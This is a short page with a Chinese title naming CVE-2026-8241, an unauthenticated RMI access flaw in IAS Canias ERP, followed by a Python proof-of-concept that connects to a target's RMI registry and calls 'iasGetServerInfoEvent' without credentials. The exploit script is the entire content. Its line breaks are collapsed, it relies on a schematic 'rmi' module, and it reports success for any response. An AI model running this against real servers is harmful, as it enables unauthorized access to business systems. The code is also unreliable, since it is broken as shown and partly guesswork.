CVE-2026-8241 IAS Canias ERP RMI接口权限绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-8241: IAS Canias ERP RMI Unauthorized Access import rmi import sys def exploit(target_host, target_port): try: print(f"[*] Connecting to RMI service at {target_host}:{target_port}") # Connect to the RMI Registry registry = rmi.connect(target_host, target_port) # List available bindings to identify the vulnerable service if necessary # print("[+] Available bindings:", registry.list()) # The vulnerable function name disclosed in CVE description vulnerable_method = "iasGetServerInfoEvent" print(f"[*] Attempting to invoke method: {vulnerable_method}") # Invoke the method without authentication # The actual payload might depend on the specific RMI stub implementation response = registry.invoke(vulnerable_method, []) print("[+] Exploit successful! Response received:") print(response) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <host> <port>") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) exploit(host, port)